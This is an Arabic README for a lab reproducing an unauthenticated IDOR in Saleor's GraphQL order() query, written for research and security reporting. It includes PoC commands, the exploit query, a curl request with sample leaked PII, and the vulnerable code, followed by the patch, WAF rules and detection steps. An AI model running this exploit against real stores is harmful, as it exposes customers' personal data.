
CVE-2026-24136 | مختبر لاستغلال ثغرة IDOR في Saleor GraphQL - الاستعلام order() لا يتحقق من المصادقة، مما يكشف جميع معلومات التعريف الشخصية (البريد الإلكتروني، العنوان، رقم الهاتف) للعملاء. يتضمن بيئة Docker، وسكربت بيانات التهيئة، وPoC. CVSS 4.0: 8.7 HIGH.
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2026-24136 |
| نوع الثغرة | IDOR - تجاوز التفويض عبر مفتاح يتحكم به المستخدم (CWE-639) |
| البرنامج | منصة التجارة الإلكترونية Saleor |
| الإصدارات المتأثرة | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| الإصدارات المُصحّحة | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| التأثير | يمكن لمهاجم غير موثّق قراءة معلومات التعريف الشخصية (PII) (الاسم، العنوان، رقم الهاتف، البريد الإلكتروني) لأي طلب |
| هل يتطلب مصادقة؟ | لا |
يوفر Saleor واجهة GraphQL API لإدارة الطلبات في التجارة الإلكترونية. يسمح استعلام order(id: $id) باسترجاع تفاصيل طلب معين حسب المعرف العام (global ID). في الإصدارات المتأثرة، لا يتحقق هذا الاستعلام مما إذا كان المستدعي مخولاً لعرض ذلك الطلب.
يمكن لأي شخص، حتى المستخدم المجهول تمامًا بدون حساب، استدعاء هذا الاستعلام والحصول على كامل معلومات التعريف الشخصية للعميل: البريد الإلكتروني، الاسم الكامل، عنوان الشحن، رقم الهاتف، سجل تسجيل الدخول.
cve-2026-24136-lab/
├── docker-compose.yml # بيئة المختبر (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # سكريبت التشغيل التلقائي (Windows PowerShell)
├── setup_lab.sh # سكريبت التشغيل التلقائي (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # غلاف بدء التشغيل: تصحيح خطأ wsgi + gunicorn
├── seed_data.py # إنشاء حسابات ضحايا وطلبات تحتوي على PII
└── poc_cve_2026_24136.py # إثبات المفهوم (PoC) للاستغلال
pip install requests# منح صلاحية التنفيذ إذا لزم الأمر
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# تشغيل الإعداد التلقائي
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. تشغيل الحاويات
docker compose up -d
# 2. الانتظار حتى تصبح API جاهزة (~60-90 ثانية)
# التحقق: curl http://localhost:8000/health/
# 3. إنشاء حساب مسؤول
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. تعبئة المنتجات/القنوات
docker exec cve_saleor_api python manage.py populatedb
# 5. إنشاء بيانات الضحايا (حسابات + طلبات مع PII)
cd scripts
pip install requests
python seed_data.py
المنافذ بعد التشغيل:
| الخدمة | الرابط |
|---|
cd scripts
# عرض الشرح التقني
python poc_cve_2026_24136.py explain
# استغلال من قائمة تم تعبئتها (مُوصى به - Saleor 3.x يستخدم معرفات UUID)
python poc_cve_2026_24136.py file order_ids.json
# استغلال طلب واحد باستخدام المعرف العام base64 مباشرةً
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# تعداد تسلسلي (يعمل فقط مع Saleor < 3.x الذي يستخدم معرفات أعداد صحيحة)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# تغيير عنوان API المستهدف
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# حفظ النتائج إلى JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
يستخدم Saleor "التعريف العام للكائنات" (Global Object Identification) وفقًا لمواصفات GraphQL Relay. يُعرف كل كائن بواسطة معرف عام بالصيغة:
base64("<TypeName>:<internal_id>")
بالنسبة للطلبات في Saleor 3.x:
# internal_id هو UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
ملاحظة: يستخدم Saleor 2.x معرفات أعداد صحيحة تسلسلية (
Order:1,Order:2, ...) مما يسهل تعدادها.
انتقل Saleor 3.x إلى UUID لذا يحتاج المهاجم إلى الحصول على UUID بطريقة أخرى (تأكيد الطلب عبر البريد، تسريب الرابط، إلخ).
الملف: saleor/graphql/order/resolvers.py
# الإصدار المُعطّل (قبل التصحيح)
def resolve_order(root, info, id):
"""حل الطلب حسب المعرف – بدون أي فحص تفويض."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# أي شخص يستدعي يحصل على البيانات، لا فحص للمستخدم ولا فحص للجلسة
الملف: saleor/graphql/order/schema.py
# تعريف الاستعلام، بدون إعلان صلاحيات
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# لا يوجد @permission_required، ولا أي حارس
الاستعلام المُرسَل لا يحتوي على رأس Authorization:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# الإرسال باستخدام curl، بدون رمز مميز
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# الاستجابة (بدون مصادقة):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
مهاجم (مجهول) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (بدون رأس Authorization) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
الملف: saleor/graphql/order/resolvers.py
# الإصدار المُصحَّح (>= 3.20.110)
def resolve_order(root, info, id):
"""حل الطلب حسب المعرف مع فحص تفويض كامل."""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# الحارس 1: الموظفون والتطبيقات يمكنهم رؤية جميع الطلبات
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# الحارس 2: المستخدم غير الموثّق → يُرجع None (بدون خطأ لمنع تسريب وجود الطلب)
if not info.context.user or not info.context.user.is_authenticated:
return None
# الحارس 3: المستخدم الموثّق يمكنه فقط رؤية طلباته الخاصة
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
الملف: saleor/graphql/order/schema.py
# إضافة تعليق توضيحي لتوثيق متطلبات الصلاحية
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(بدون رأس Authorization)
─────────────────────────────────────────────
قبل التصحيح (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ تم تسريب PII
─────────────────────────────────────────────
بعد التصحيح (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ يُرجع null، بدون خطأ (مقصود – لمنع المهاجم
من معرفة ما إذا كان الطلب موجودًا أم لا)
─────────────────────────────────────────────
null بدلاً من خطأ؟إرجاع null بدلاً من PermissionDenied للطلبات غير الموثّقة هو تصميم مقصود:
PermissionDenied → يعرف المهاجم أن الطلب موجود (oracle الوجود)null → لا يستطيع المهاجم التمييز بين "لا صلاحية" و"غير موجود"هذه تقنية فحص وجود مقاومة للزمن (timing-safe existence check) مطبقة على مستوى GraphQL.
raise PermissionDenied؟لأنه عند تسجيل الدخول، يساعد الإبلاغ الواضح عن الخطأ في التصحيح. لم يعد oracle الوجود مشكلة لأن:
معرفات الأعداد الصحيحة (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ تحتاج O(N) طلبًا لتعداد N طلب
→ يمكن للمهاجم معرفة العدد الإجمالي للطلبات (بالبحث الثنائي)
معرفات UUID (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ مساحة البحث: 2^122 (UUID v4 يحتوي على 122 بت عشوائي)
→ القوة العمياء غير عملية عمليًا
→ لكن المعرف لا يزال يتسرب عبر: بريد تأكيد الطلب، رابط في لوحة التحكم،
استجابات API، السجلات → إذا حصل المهاجم على معرف واحد، فلا يزال بإمكانه استغلاله
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – ناقل الهجوم: شبكة (الاستغلال عبر الإنترنت)
AC:L – تعقيد الهجوم: منخفض (لا حاجة لظروف خاصة)
PR:N – الامتيازات المطلوبة: لا شيء (لا حاجة لحساب)
UI:N – تفاعل المستخدم: لا شيء (لا حاجة لتفاعل الضحية)
S:U – النطاق: غير متغير (يؤثر فقط على Saleor API)
C:H – السرية: عالية (تسريب كامل PII)
I:N – السلامة: لا شيء (لا يمكن تعديل البيانات)
A:N – التوفر: لا شيء (لا رفض خدمة)
# التحقق من الإصدار الحالي
pip show saleor | grep Version
# الترقية إلى الإصدار المُصحَّح
pip install "saleor>=3.20.110" # إذا كنت تستخدم سلسلة 3.20.x
pip install "saleor>=3.21.45" # إذا كنت تستخدم سلسلة 3.21.x
pip install "saleor>=3.22.29" # إذا كنت تستخدم سلسلة 3.22.x
منع المستخدمين المجهولين من استدعاء استعلام order():
# Nginx – حظر استعلام GraphQL order من الطلبات غير الموثّقة
location /graphql/ {
# إذا كان رأس Authorization فارغًا وكان الجسم يحتوي على "order("
if ($http_authorization = "") {
# حظر الاستعلامات التي تشبه الاستغلال
# ملاحظة: هذا حل مؤقت، لا يغني عن التصحيح
}
proxy_pass http://saleor_api;
}
مع AWS WAF / CloudFront:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# الحد من الطلبات من عنوان IP واحد بدون مصادقة
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
علامات الاستغلال في سجلات الوصول:
# الكشف: عنوان IP واحد يرسل العديد من طلبات GraphQL بدون Authorization
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # تنبيه إذا كان أكثر من 20 طلبًا من عنوان IP واحد
# الكشف عن نمط "order" في جسم الطلب بدون مصادقة
# (يتطلب تسجيل جسم JSON)
قاعدة تنبيه لـ Grafana / Datadog:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "محاولة استغلال محتملة لـ CVE-2026-24136"
description: "معدل مرتفع من طلبات POST غير الموثّقة لـ GraphQL"
# إيقاف وحذف الحاويات + وحدات التخزين (حذف جميع البيانات)
docker compose down -v
# إيقاف الحاويات فقط (الاحتفاظ بالبيانات)
docker compose stop
تحذير: هذا المختبر مخصص فقط لأغراض البحث والتعلم وإعداد تقارير الأمان.
لا تستخدم إثبات المفهوم (PoC) على أنظمة إنتاجية دون إذن كتابي.
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| لوحة تحكم Saleor | http://localhost:9000 |
| المسؤول | [email protected] / admin |